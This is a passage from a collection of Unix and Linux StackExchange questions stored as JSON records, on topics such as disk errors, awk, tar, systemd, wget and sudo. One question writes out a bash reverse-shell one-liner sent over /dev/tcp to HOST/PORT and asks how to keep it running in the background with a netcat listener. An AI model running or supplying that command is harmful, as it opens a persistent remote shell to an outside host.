00 00 00 13 78 b2 9a sd 2:0:0:0: [sda] Add. Sense: Unrecovered read error - auto reallocate failed sd 2:0:0:0: [sda] CDB: Read(10): 28 00 13 78 b2 98 00 00 08 00 end_request: I/O error, dev sda, sector 326677146 ata3: EH complete I managed to correct the error and wrote a detailed description of the convoluted process I used to repair the disk. Then got too lazy to post it ( guess I will this weekend ). What I would like to do now is create some programs for automating the process. To do this I need to \"trap the kernel error\". By trap I mean: 1) Terminate the system call that is causing the error. I notice that often times errors like this will cause the hd to hang, that is ignore requests from other system command calls until this process has run its course. Often times causing the other calls to return errors. With a diagnostic program this will cause the wrong action to be identified as the culprit. 2) Send a signal of some sort to the calling process to let it know that it is the culprit. Suggestions?"} {"_id": "46215", "title": "Print console colors", "text": "Wrote a bash function to display the console colors. But, it seems some of the colors are not possible to show that way! (?) Also, note the strange \"bright black\"! (Note: The below screendump is of xterm, but this is meant to be used in console mode. I had to use xterm to get a screendump. But it looks much the same.) ![clr](http://user.it.uu.se/~embe8573/clr.png) function clr () { Color_names=\"bla red gre yel blu mag cya whi\" Color_arr=($Color_names) for m in {0..15} do tput setaf $m echo -n ${Color_arr[$((m % 8))]}\" \" done echo tput sgr0 cat /sys/module/vt/parameters/default_red \\ /sys/module/vt/parameters/default_grn \\ /sys/module/vt/parameters/default_blu | tr \",\" \"\\t\" }"} {"_id": "97771", "title": "mysql USER unclear about what can be dropped?", "text": "When `show databases` there is the `information_schema` below it listing my created databases but what is 'USER' and 'mysql' listed in there? I don't know if ages ago I made a mistake and created them or if they are default listings which reveal something?"} {"_id": "131674", "title": "How to save \u201ctext/pdf\u201d PDF files on the disk from an incoming mail in Mutt", "text": "I receive emails with PDF attachments that have the MIME type \"text/pdf\". This is obviously not good, but some mail clients are doing that... The problem is that saving such an attachment in Mutt leads to a file on the disk that cannot be opened by a PDF viewer. The file size is indeed different by a few bytes from what it should be. How can I save such attachments?"} {"_id": "131675", "title": "awk one single line", "text": "hello i try to use a awk that compiles several lines into one, how can ia do that? i'm using the comand: awk < $pot/towhee.prod 'NR==411{print$5,$6}''NR==412{print$5,$6}''NR==430{print$7,$8}' and it produces this: 0.24975E-01 0.00000E+00 0.36574E+04 0.59343E+02 -3340.691 0.399 but i want this: 0.24975E-01 0.00000E+00 0.36574E+04 0.59343E+02 -3340.691 0.399 how can i do it?"} {"_id": "102419", "title": "Packaging with tar", "text": "I am trying to package the files: file1 folder2/hello folder2/world file3 into a tar file so they are encapsulated in a custom defined folder, so the `tar -tvf archive.tar` appears as: mycustomfolder/file1 mycustomfolder/folder2/hello mycustomfolder/folder2/world mycustomfolder/file3 Currently to come around this I am: * Creating an archive(x) of `file1`, `folder2` and `file3`. * Creating a `mycustomfolder` folder. * Extract the archive(x) into `mycustomfolder` * Create an archive(y) from `mycustomfolder` I can't help it think their might be one step of doing this or a better way?"} {"_id": "100761", "title": "Execute command on remote host fails", "text": "I'm trying to execute some commands on remote host like this : ssh -t -t -l user 172.20.20.20 < and other FILE2: Cell11=\"42921\" Cell12=\"42925\" Cell13=\"42928\" Cell21=\"42922\" Cell22=\"42926\" Cell23=\"42929\" Cell31=\"42923\" Cell32=\"42927\" Cell33=\"42920\" where I want to subistitue values from FILE2 to FILE1 , so it should look like : So basicly, all the vaules are inserted in cellIdentity=\"\" in order, s it is in FILE2. I have awk code : awk 'FNR==NR{FS=\"=\";a[NR]=$2;next}/cell/{c++;FS=OFS;$4=\"cellIdentity=\"a[c];}1' FILE2 FILE1 but I get this : So the probelm is only in first row, it's not good. I don't know how to fix it."} {"_id": "102410", "title": "Is it possible to transfer the history of commands from one system to another?", "text": "I am going to have all my data transferred to a new PC. Is it possible to transfer the command history of the previous Linux to the new system as well? So that when I type the `history` command, I get the same results as I did on the old system."} {"_id": "153622", "title": "Cannot get Systemd working on GENTOO: Where am i going wrong?", "text": "I'm having a massive amount of trouble installing gentoo with systemd; this is a fresh install and not an upgrade. Steps (after partitions etc.. are setup): 1. Unpack AMD64 stage3 and emerge-webrsync and then `emerge --sync` for good measure 2. Eselect profile gnome/systemd 3. `emerge --update --deep --with-bdeps=y --newuse @world` 4. `emerge` gentoo sources; config and `make` the kernel -the gentoo systemd option is enabled as is openrc 5. Install the kernel 6. install mdm and lvm (I'm running a raid0 as root) 7. install gentoo-next and `genkernel --install --no-ramdisk-modules -mdadm -lvm --udev initramfs` (this is as suggested by the systemd and raid install wikis) 8. `emerge` grub2 and install it with init set to systemd 9. install some utils (e.g `dhcpcd`) When I boot into the system i get nothing but a bunch of trouble - never actually having the system boot in full. Errors (in no particular order as I had to write them by hand): Failed to start trigger flushing of journal to persistent storage Systemd-journal-flush service entered failed state Systemd-journald.service.watchdog.timeout Systemd-journal-flush.service exited, code=exited status=1/Failyre A start job is running for udev Kernel Device Manager service... Systemd-udevd.service.start operation timed out Failed to start udev kernel device manager It just sits there looping for the udev KDM startup always failing if i hit control alt delete (or indeed type `shutdown -h` now from within the chrooted environment) i get the following: Failed to start reboot Dependency for reboot failed systemd-reboot service main process exited.. shutdown -h now shutdown: /dev/initctl: No such file or directory init: /dev/initctl: No such file or directory I've been googling for a couple days now but couldn't find anything (though it is possible I'm blind). Journactl (when i `chroot` into the setup) says No Journal Files Were Found. I'm at a complete loss at this point. If anyone has any suggestions i would greatly appreciate them!"} {"_id": "9420", "title": "How to setup Nvidia GeForce 9800 card on Ubuntu 10.10", "text": "I have problem on graphic card with ACER V193w LCD display. I really don't know how to configure /setup/ Nvidia GeForce 9800 on Ubuntu 10.10. Can you guys please help me!"} {"_id": "131671", "title": "Where does xfce4-notes store data?", "text": "I have a lot of xfce-notes groups containing each a lot of text. I want to transfert them to a new machine without copying the whole home directory. Where does xfce4-notes store its data and configation files?"} {"_id": "9427", "title": "Is it possible to uninstall OpenOffice?", "text": "I installed OpenOffice using the installer downloaded from openoffice.org on Fedora 14. I went to use it today for the first time and it won't open. I'm assuming with updates that have been installing that perhaps something got overwritten or something since I didn't install it through yum. I wasn't sure how to go about uninstalling it now so that I can reinstall it using yum so that it can monitor dependencies for me. How would I do this?"} {"_id": "100765", "title": "Script for running sequential job", "text": "I started recently to learn using Linux. I want to write a script in bash shell to run a serial job on a cluster. I have been searching for hints and instructions on how to write such a script. I managed to write the following: #!/bin/bash #PBS -l nodes=1:ppn=8 #PBS -l walltime=1:00:00 #PBS -e test.err #PBS -o test.log cd /home/myuser/ echo \"Running on host `hostname`\" echo \"Time is `date`\" echo \"Directory is `pwd`\" /home/myuser/comsol4.3b/bin/comsol batch -inputfile DF.mph -outputfile output.mph -batchlog out.log The last line calls the program (it is called COMSOL) to run. One of the things that are missing in my code is the command \u201cqsub\u201d; I don\u2019t know how to incorporate it with the rest of commands in my code. Can anyone please instruct me how to modify the line that calls the program I am using by \u201cqsub\u201d command please? Sorry if my question is so simple, I spent a lot of time trying to make it work but I couldn\u2019t unfortunately. **EDIT** : To summarize, if I typed the last line of the code ONLY it will be run on the main node only, I don't want that. What I want is to modify the last line of the code such that it uses the resources I allocated to it using PBS lines, how should I do that? For the record, the command `qhost` shows there are 250 nodes with varying cores per node from 4 cores/node to 16 cores/node"} {"_id": "52767", "title": "Bafflingly baroque Debian ps: show threads in forest tree", "text": "My favourite `ps` invocation is: ps -efww ef as I need to `watch` all processes (`-e`), get extended information about them (`-f`), see the environment (`e`) they operate within, wrapping lines (`-w -w`) so I don't lose any part of that, and visually group (`f`) child processes under their parents, for an at-a-glance overview. I have \"wasted\" the whole morning trying to get _any_ thread information to appear as well, following the same visualisation logic above. I must have tried 40 different combinations of options. ( _Actually, I just checked my`.bash_history` and I have tried more!_). Combinations included swapping `f` and `-H` for forest display, for instance. Sometimes I even tried permutations to check insidious \"orderings\"... None of the threading options seem to be compatible with my \"monitoring screen\" setup. I am talking about `H`, `-L`, `m`, `-m` and `-T`. I am baffled. Am I doing it wrong? How are you guys doing it? Specifically: I need to watch for processes like download managers who go funky with 30 to 80 threads all of a sudden..."} {"_id": "17776", "title": "How to wget website with same page and content names?", "text": "I'm trying mirror a website where it has page: http://www.site.com/news and contents: http://www.site.com/news/36-news/news-one http://www.site.com/news/37-news/news-two http://www.site.com/news/38-news/another-news-here This is what I'm using wget -m -Dsite.com -e robots=off -r -q -R gif,png,jpg,jpeg,GIF,PNG,JPG,JPEG \\ -t 10 http://www.site.com & When wget is run, it will create a HTML file with the name `news`. I'm unable to download the contents because the file with the name `news` already exists (I'm running Ubuntu: directories cannot have same name as files) Below is the message that appeared when running `wget` without `-q` > www.site.com/news/36-news: Not a directory > www.site.com/news/36-news/news-one: Not a directory"} {"_id": "19425", "title": "How can I diagnose and repair missing drive space?", "text": "I have a small ext3 `/` partition on a 2T drive which appears to have a discrepancy in its free space. How can I determine what is causing it and how it can be fixed. After trying everything I could think of, I forced a fsck on boot which didn't have any affect. I have other systems configured identically which don't exhibit this condition. # df -h / Filesystem Size Used Avail Use% Mounted on /dev/sda1 9.7G 8.9G 318M 97% / # du -shx --max-depth 1 / 5.2G / # lsof | awk 'BEGIN {t=0} /(deleted)/ {t+=$7} END {print t}' 0 # tune4fs -l /dev/sda1 | grep -E 'state|Free|Reserve|size|Inode' Filesystem features: has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file Filesystem state: clean Inode count: 2621440 Reserved block count: 131029 Free blocks: 212317 Free inodes: 2487281 Block size: 4096 Fragment size: 4096 Reserved GDT blocks: 639 Inodes per group: 32768 Inode blocks per group: 1024 Reserved blocks uid: 0 (user root) Reserved blocks gid: 0 (group root) Inode size: 128 **Edit:** `fsck` says the partition is 2% non-contiguous. For comparison to `du` above (sparseness): # du -hxs --apparent-size / 4.9G /"} {"_id": "17771", "title": "What's the best way to install a system-wide certificate from a website?", "text": "I want to use the Cisco Easy VPN to connect to the OpSource cloud machines. When I open the app, it directly shows a certificate error message, I suspect that the certificate is not trusted from their domain because I tried it on a Windows machine and I had to add an exception for it. I am using Fedora 15 and I want to make the certificate to this domain accepted system-wide, The only way to get the certificate will be by accessing it through the browser and exporting the certificate from Firefox for example. How could I install this certificate, and is there a better way to obtain it other than exporting it from the browser?"} {"_id": "123058", "title": "How do I determine where DNS requests fail in the TCP stack?", "text": "I have the networking setup described here: Why is this static route not taking effect? Currently, I can ping my DNS server but all DNS requests fail: ~$ ping 130.35.249.52 PING 130.35.249.52 (130.35.249.52) 56(84) bytes of data. 64 bytes from 130.35.249.52: icmp_seq=1 ttl=57 time=105 ms 64 bytes from 130.35.249.52: icmp_seq=2 ttl=57 time=111 ms ^C --- 130.35.249.52 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1000ms rtt min/avg/max/mdev = 105.604/108.388/111.172/2.784 ms ~$ nslookup oracle.com 130.35.249.52 ;; connection timed out; no servers could be reached I can think of no good reason for this, because Ubuntu is (to my knowledge) not running a firewall. However, Ubuntu is virtualized, so I hope that it isn't something wrong with the way that its VirtualBox host is set up."} {"_id": "86654", "title": "An Error Occured, Error attaching disk image: GDBus.Error:... when opening downloaded files in firefox, how to fix this?", "text": "`Error attaching disk image: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error setting up loop device /dev/loop0: Invalid argument (udisks-error-quark, 0)` That one above is the error Im having with my Linuxmint 15 Olivia, using Mozilla Firefox for Linux Mint 1.0. The error occurs when I am opening a downloaded file using the \"Open Containing Folder\" context menu. and also when opening the c: drive of my newly installed \"Wine\" installation. I have 3 Linux Mint 15 machines with exact software packages installed. The others are not having this error. The machine that this error occurs from is installed in a Fake RAID0. **Update** The application involved in this error is the `gnome-disk-image-mounter ` **UPDATE** I've just re-installed everything since I can't fixed it. It's working well now."} {"_id": "25662", "title": "Creating a Linux distribution that only runs one application", "text": "> **Possible Duplicate:** > How can I build a custom distribution for running a simple web browser? Is it possible to create a Linux distribution that only runs one application? For example, I want it to just run a browser, and not support any other applications. How can I do that?"} {"_id": "96356", "title": "Need small distro without a desktop or windows manager, just to run a single graphical app", "text": "I am looking for some help on this from a linux expert. I am very novice when it comes to linux so I am hoping someone can help out. I need a small distro, that is stable. I don't need a full X server or window manager, I only need it to run one single application with a basic UI that consists of a viewport. I would like for the distro to be as small as possible. 700 mb or less would be ideal. Is their a base distro of ubuntu or similar that I can add whatever I need to it from the command line. Which basically is the kernel and some way of graphical output. I was thinking of putting Direct FB on it to render the application. Can anyone help me out here? Even a live distro would work."} {"_id": "52768", "title": "rkhunter warns about chkconfig", "text": "I ran `rkhunter` and received the following warnings in its output: $ rkhunter --update $ rkhunter -c ... ... ... Performing file properties checks /sbin/chkconfig [ Warning ] In the `/var/log/rkhunter.log`, it shows this message: Warning: The command '/sbin/chkconfig' has been replaced by a script: /sbin/chkconfig: Perl script, ASCII text executable Though I am on a Debian system and am aware of `update-rc.d`, I occasionally use `chkconfig` to configure services. What does this warning mean? How serious is this?"} {"_id": "153210", "title": "Cannot redirect output from sed", "text": "I'm piping output from clock through sed to remove leading zeroes from numbers. It looks like this: clock -sf 'S%A, %B %d. %I:%M %P' | sed 's/\\b0\\+\\([0-9]\\+\\)/\\1/g' That works fine and produces the output I want. However, when I try to redirect the output to a file, nothing is written to the file. The following does NOT work. clock -sf 'S%A, %B %d. %I:%M %P' | sed 's/\\b0\\+\\([0-9]\\+\\)/\\1/g' > testfile Nothing is written to testfile. What am I doing wrong?"} {"_id": "153211", "title": "What is the concept hidden behind the term \"command\"?", "text": "I have been using, studying and developing for Linux for quite a few years now, and over time, I have successfully convinced a few people to _join the cause_ , and make the switch to Linux. However, when these people went discovering this brand new world, every one of them eventually came to me, asking _what the command was to do this or that_ : * What's the command to install a piece of software? * What's the command to list currently directory contents? * What's the command to open my web browser? * ... To me though, it feels like they are asking the wrong questions. Indeed, I would actually expect them to ask: * What program do we use to manage software installed on the system? * What program can list current directory contents? * What are the available web browsing programs? * ... It would seem to me that the term **command** is a very abstract word used to describe pretty much everything you type after your shell prompt. With this thinking, several of the newcomers I brought started to believe that: * Linux is made of a huge amount of commands. * There is a command for everything, and every command does one thing specifically. * By learning more commands, I'll become more capable as a Linux user/administrator. * By running `./something` I don't run a command, but a program stored in my current directory, probably something I compiled myself. * ... Due to that, I tend not to use the word **command** , and prefer to use **program** or **executable file**. I also explain that these executable files can be found automatically, without typing their absolute paths, thanks to the `$PATH` mechanism. Thanks to that, typing `ls` executes `/bin/ls`, which is a **program** stored in `/bin`, a directory registered within the `$PATH` variable. Still, I come across the word **command** in many books, tutorials, guides, ... which eventually brought this question to my mind: does the word _command_ actually have a meaning in the UNIX/Linux vocabulary? Does it refer to an actual concept other than _\"whatever you type in your terminal\"_?"} {"_id": "153212", "title": "How to prevent a new user to inherit the files of a deleted user?", "text": "I just deleted a user with \"userdel\", without deleting its home dir. Right after the deletion, I created a new user, with its own home dir. What striked me as odd, was that the new user gets the UID of the deleted user (the last UID, incremented by 1). Consequently, the new user also has ownership and full permissions on the files of the deleted user! Is this normal behaviour? Is there a best practice on how to prevent this, short of specifying a UID each time when creating a new user? (Tested on Linux Mint 17 and verified on OpenSuse 13.1)"} {"_id": "60674", "title": "Use variables in find command", "text": "`mount |awk '{print $3}'` --> list of mount points find \"list of mount points\" -name \"aaa\" -print How can I redirect the result from previous line into find command as searching directory? I would like to have it done in one line: mount |awk '{print $3}' | find \"converting pipe result to a variable as directory\" -name \"aaa\" -print Possible to make it work this way?"} {"_id": "64315", "title": "Cron creates vim process but does not display vim", "text": "Under MacOSX 10.8.2 I am able to run vim as follows in the bash shell: /usr/bin/vim -c \"normal G\" -c 'startinsert' ~/.journal If I put the exact same command in a script: #! /bin/bash export DISPLAY=:0 echo -n -e \"\\n[\" `date` \"]:\\n\\n\">>~/.journal /usr/bin/vim -c \"normal G\" -c 'startinsert' ~/.journal and run the script, it also opens vim correctly. However, if I put the script, named 01diaryscript, into crontab: MAILTO=\"\" * * * * * ~/01diaryscript vim does not open... BUT a new vim process is created with its own unique id every minute. On the other hand, if I use the vim, also 7.3, included in the MacVim package, cron works. Is there a way to force the vim process that is created when I run the first script in cron to be accessible?"} {"_id": "27943", "title": "AIX won't stop creating random .nfsXXXX files", "text": "I am trying to delete some files and folders, but I can't because the system keeps re-creating the files. All these files are named `.nfsXXXX`, where `XXXX` is some random 4-character hexadecimal number. Whenever I delete one of these files, it creates another one with a different name but the same contents. This is happening in several unrelated directories. What could be causing this and how can I fix it?"} {"_id": "145903", "title": "Linking synergyc: libcurl - undefined reference", "text": "I'm trying to compile synergy 1.5.0 on openSUSE 13.1 (Kernel 3.11.10-17). While linking, I get the following error: ... [ 83%] Built target ipc [ 84%] Built target client Linking CXX executable ../../../../../bin/synergyc /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_username' /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_password' collect2: error: ld returned 1 exit status make[2]: *** [../../bin/synergyc] Error 1 make[1]: *** [src/cmd/synergyc/CMakeFiles/synergyc.dir/all] Error 2 make: *** [all] Error 2 Going back to: /home/ara/rafik/.local/src/synergy-1.5.0-Source Error: make failed: 512 I'm on an university machine, so I don't have root and have to do a local compile / install. I can ask the admin to install additional libraries, but his time is scarce and I would prefer not to do a try and error approach.. I did already ask him to install libcurl-devel, that didn't help. As suggested in this question I did check for missing libraries: rafik@taurus:~/.local/src/synergy-1.5.0-Source> ldd /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so linux-vdso.so.1 (0x00007fff1c6b7000) libidn.so.11 => /usr/lib64/libidn.so.11 (0x00007fa71a842000) libssh2.so.1 => /usr/lib64/libssh2.so.1 (0x00007fa71a617000) libssl.so.1.0.0 => /lib64/libssl.so.1.0.0 (0x00007fa71a3b0000) libcrypto.so.1.0.0 => /lib64/libcrypto.so.1.0.0 (0x00007fa719fc5000) libgssapi_krb5.so.2 => /usr/lib64/libgssapi_krb5.so.2 (0x00007fa719d7e000) liblber-2.4.so.2 => /usr/lib64/liblber-2.4.so.2 (0x00007fa719b6f000) libldap-2.4.so.2 => /usr/lib64/libldap-2.4.so.2 (0x00007fa719923000) libz.so.1 => /lib64/libz.so.1 (0x00007fa71970c000) libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fa7194ee000) libc.so.6 => /lib64/libc.so.6 (0x00007fa71913f000) libdl.so.2 => /lib64/libdl.so.2 (0x00007fa718f3a000) libkrb5.so.3 => /usr/lib64/libkrb5.so.3 (0x00007fa718c6b000) libk5crypto.so.3 => /usr/lib64/libk5crypto.so.3 (0x00007fa718a38000) libcom_err.so.2 => /lib64/libcom_err.so.2 (0x00007fa718833000) libkrb5support.so.0 => /usr/lib64/libkrb5support.so.0 (0x00007fa718626000) libresolv.so.2 => /lib64/libresolv.so.2 (0x00007fa71840f000) libsasl2.so.2 => /usr/lib64/libsasl2.so.2 (0x00007fa7181f1000) /lib64/ld-linux-x86-64.so.2 (0x00007fa71ad28000) libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007fa717fed000) libselinux.so.1 => /lib64/libselinux.so.1 (0x00007fa717dc8000) libpcre.so.1 => /usr/lib64/libpcre.so.1 (0x00007fa717b62000) Looks like everything is there? What am I missing? Sidenote: synergy 1.4.12 compiles and links just fine on the same machine. Edit: I tried different versions on the same machine: versions 1.4.12 .14 and .15 compile and link fine, versions 1.4.16 onwards (4.16, 4.17, 4.18, 5.0) fail to link with the same linker error.."} {"_id": "64319", "title": "Only routing certain traffic through VPN", "text": "I have a central development server, running a VPN server, and a couple clients that need to connect to it. The server is running Apache, but is only accepting local requests (only listening on 127.0.0.1:80). I basically need to force each client connected to the VPN to route traffic to a certain hostname through the VPN and to the local Apache instance. For example: Client requests google.com -> google.com Client requests server -> vpn -> server:80 I know I can push route commands to clients when they connect to the VPN, now I just need to figure out what route to push to make that happen. At least, what is the `route` syntax/command for the client to add this route themselves?"} {"_id": "27940", "title": "Command Line Linux Distro for i386 and 128MB RAM", "text": "I'm looking for a command line Linux distro that runs under 128Mb of RAM and works with i386. All the distros that I've looked at so far seem to be too big, don't support that old of a processor, or are GUI OSs. I've looked at Arch Linux, Tiny Core, Gentoo, SuSE JEOS, and Slitaz. It will be mostly used for running GCC, Mono, Wine, and such."} {"_id": "145902", "title": "Aggregate and group text file in bash", "text": "I have a big text file(with 5m lines) in this format(4 columns, separated by `;`): > string1; string2; string3; userId The _first 3 strings_ (SHA1s) form a single ID, called _appId_ (so it can be simlified like this: `appId; userId`). The second column (string2, or second part of _appId_ ) itself may be composed of some parts separated by comma `,`. The file is sorted. I would like to have the list of users of each app in front of it, like this: _input_ file: app1, user1 app1, user2 app1, user3 app2, user1 _output_ file: app1: user1, user2, user3 app2: user1 part of \"real\" _input_ file: 44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;8ead5b3e0af5b948a6b09916bd271f18fe2678aa 44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309;a21245497cd0520818f8b14d6e405040f2fa8bc0 5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;337556fc485cd094684a72ed01536030bdfae5bb 5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;382f3aaa9a0347d3af9b35642d09421f9221ef7d 5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16;396529e08c6f8a98a327ee28c38baaf5e7846d14 The \"real\" _output_ file should look like this: 44a934ca4052b34e70f9cb03f3399c6f065becd0;bf038823f9633d25034220b9f10b68dd8c16d867;309:8ead5b3e0af5b948a6b09916bd271f18fe2678aa, a21245497cd0520818f8b14d6e405040f2fa8bc0 5c3eb56d91a77d6ee5217009732ff421e378f298;200000000000000001000000200000,6fd299187a5c347fe7eaab516aca72295faac2ad,e25ba62bbd53a72beb39619f309a06386dd381d035de372c85d70176c339d6f4;16:337556fc485cd094684a72ed01536030bdfae5bb, 382f3aaa9a0347d3af9b35642d09421f9221ef7d, 396529e08c6f8a98a327ee28c38baaf5e7846d14 How can I do this? * * * **Edit:** Also, there can be thousands of users per app, so how long can a line be? Is there any limitation for line length?"} {"_id": "121664", "title": "Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background", "text": "I want to run `bash -i >& /dev/tcp/HOST/PORT 0>&1` in the background at server1. I want to listen to the connection and send commands back at `HOST/PORT`. So, tcpdump isn't sufficient for that. I tried to run it in the background with: `bash -i >& /dev/tcp/HOST/PORT 0>&1 &` and `nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown` But the above commands do not seem to work. I also tried, `bg bash -i >& /dev/tcp/HOST/PORT 0>&1` It also is not working. Both don't allow me to connect to server1 properly when using `nc -l -vv -p PORT`. It does work when I just run `bash -i >& /dev/tcp/HOST/PORT 0>&1`, but that will close this specific connection when I disconnect the SSH connection and it also does not allow me to enter new commands after this command."} {"_id": "148510", "title": "ext4 filesystems frequently corrupting", "text": "We have occasional power outages in our environment which seems to cause data corruption on our Ubuntu machines with ext4 filesystems. To my understanding ext4's default is to use `data=ordered` Which is described as \"All data are forced directly out to the main file system prior to its metadata being committed to the journal.\" Does this mean that if there is a power outage, and the operation to write to disk is interrupted that there can be filesystem corruption? If I want to completely eliminate filesystem corruption due to power outages I'd guess I would use `data=journaled`, are there any negative impacts to this other than a performance hit? Bonus: How do I change the journaling type on my filesystem from `data=ordered` to another. I'm guessing I'd need to make modifications to the journal but I'm not quite sure how or in what order to perform these operations. It's just getting really annoying that Ubuntu (initramfs) doesnt have any filesystem recovery utilities so any way we can get to prevent us from having to pop in a live cd is great. My /etc/fstab # /etc/fstab: static file system information. # # Use 'blkid -o value -s UUID' to print the universally unique identifier # for a device; this may be used with UUID= as a more robust way to name # devices that works even if disks are added and removed. See fstab(5). # # proc /proc proc defaults 0 0 # / was on /dev/sda1 during installation UUID=9cd71f51-53bb-44c7-affa-14293e59d596 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=5568cee1-a50b-4409-ad67-cdc5bfb592a3 none swap sw 0 0 /dev/scd0 /media/cdrom0 udf,iso9660 user,noauto,exec,utf8 0 0 OS version -bash-4.0# uname -a Linux LG-F3-19 2.6.31-14-server #48-Ubuntu SMP Fri Oct 16 15:07:34 UTC 2009 x86_64 GNU/Linux -bash-4.0# lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 9.10 Release: 9.10 Codename: karmic Image of failure: http://imgur.com/odo4iBY References: https://www.kernel.org/doc/Documentation/filesystems/ext4.txt http://www.ibm.com/developerworks/library/l-journaling-filesystems/"} {"_id": "148514", "title": "How can I force chrooted programs to use a virtual ethernet device?", "text": "First off, this is **not** for security reasons, or for use in a production environment. It's because I want to mess around with different configuration management systems on relatively low-spec workstation, without using VMs (time and resource overhead) or LXC (version requirements and unneeded complexity). Chroots are relatively insecure, but they're also quick and painless to set up. Anyway: given a chroot environment and a virtual ethernet interface (eth0:1 or such), how can I make sure that programs in the chroot always use the virtual interface? Note that I don't need true network isolation, where the real interface can't be seen inside the chroot. I just want chrooted programs to answer to a different IP address than the host (or other chroots), so I can use server/client setups properly with e.g. Puppet. The host is running Debian Wheezy x64. Perhaps I am approaching this the wrong way. What I want is to have several chroots and be able to access each by hostname from the host system. Is that possible?"} {"_id": "148519", "title": "How can I use wget to create a list of URLs from an index.html?", "text": "So `wget` has an ability to recursively download files, however it does it one file at a time. I would like to pass in a directory URL, and for each URL it encounters in the recursion for it to spawn off a downloading process. One way I was thinking to do this is to somehow use `wget` to print out the URLs it encounters, and then feeding those URLs into separate instances of `wget` (via `wget URL_1 &`, `wget URL_2 &` etc). Any ideas?"} {"_id": "92539", "title": "Application fails if not in its directory?", "text": "I'm trying to run DeaDBeeF, a music player. It works fine if I'm in its directory, but if I'm anywhere else, it tells me that it \"failed to find output plugin\". Is there any way to get it to look in its own directory instead of my present working directory?"} {"_id": "42777", "title": "How to run this in sudo?", "text": "I have this line that I execute from php `sudo -u db2inst1 -s -- \"/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 \\\"update EDU.contact set MOBILE_PHONE = '123'\\\"\"` it works fine on Sudo version **1.7.2**. Now I got new server with `SUSE Linux Enterprise Server 11 (x86_64)`. There was no sudo so I installed it from repository (Sudo version **1.6.9p17** ) But know the above syntax doesn't work. It throws `bin/bash: /opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 \"update EDU.contact set MOBILE_PHONE = '123'\": No such file or directory` Any idea how I can make this work? If I run `/opt/ibm/db2/current/bin/db2 connect to PLC; /opt/ibm/db2/current/bin/db2 \"update EDU.contact set MOBILE_PHONE = '123'\"` under db2inst1 account everythings work just fine."} {"_id": "21390", "title": "Proper way to join multi-volume tarballs?", "text": "So how should this be done? I have learned that using `cat` is the preferred way when using `split` to create multi-volume files, but what about when using `tar`'s own native multi-volume function? Thanks"} {"_id": "80544", "title": "Download the Complete Linux Kernel Collection", "text": "I am wanting to download EVERY version of the Linux kernel as source code, Debian files, and RPM files. Where can I find a single site where I can download them all at once? If that is not possible, I know I can get the source code for every kernel here (https://www.kernel.org/pub/linux/kernel/), but I need the .deb and .rpm files as well."} {"_id": "21398", "title": "copying device nodes", "text": "I'm trying to transfer a working Linux installation to a new larger disk, so I've attached the new disk on a USB port, partitioned it and created filesystems. While copying all the files over I hit a snag on the /dev directory. \"cp -a\" does most of the job, but fails on e.g. /dev/video0 with \"Operation not supported\". >ls -l /dev/video0 # on disk I copy from crw-rw----+ 1 root video 81, 0 2011-09-25 17:15 video0 >ls -l dev/video0 # on disk copied to crw-rw---- 1 root video 81, 0 2011-09-25 17:15 video0 So it seems everything was copied except for the \"+\" at the end of the access- rights field. What does that plus-sign mean and how can I create it on the destination disk?"} {"_id": "21399", "title": "A command to check file access permission for another user", "text": "I need to know how to check the effective file access permissions for a given user, but it takes long to do this manually starting from `/` up to the target file or directory, checking group, ...etc."} {"_id": "80542", "title": "Change (reduce) Gnome 3 horizontal icon padding in notification area (Debian Wheezy)", "text": "I'm using Gnome 3.4 **classic mode** on Debian Wheezy. In the notification area, I would like to know **how to change (reduce) the horizontal spacing (or padding) of the icons**. By default, the icons are _very far from each other_ , so I'm wasting much space on this bar. ![Adwaita theme - bad spacing](http://i.stack.imgur.com/nYvR1.jpg) I'm using the default theme \"Adwaita\", but please note that when I change this to the \"HighContrast\" (or \"HighContrastInverse\") theme, the icons _get close to each other_ , which is what I want to achieve (but on the default theme): ![HighContrastInverse theme - good spacing](http://i.stack.imgur.com/nRHWf.jpg) I have been searching on the web and modifying a few .css files without success..."} {"_id": "80543", "title": "omap3530/3630 emulation on QEMU for overo and beagle machines", "text": "On QEMU's source code for beagle and overo I can see that the cpu emulated is the OMAP3430. I will like to know if it's a way to make QEMU emulate OMAP3530/3630 cpu's for those machines? On bealge : s->cpu = omap3_mpu_init(sysmem, cpu_model, ram_size, serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]); How do I have to set cpu_model? On overo: s->cpu = omap3_mpu_init(sysmem, omap3630, args->ram_size, serial_hds[0], serial_hds[1], serial_hds[2], serial_hds[3]); I changed omap3430 for omap3630 but I'm not sure that this will work. I'm using QEMU 1.4.0 Ubuntu's 13.04 distribution. I guess that all the applicable patches for beagle and overo machines are included on that distribution. For what I have seen while looking in google about beagle and overo patches, I think that the 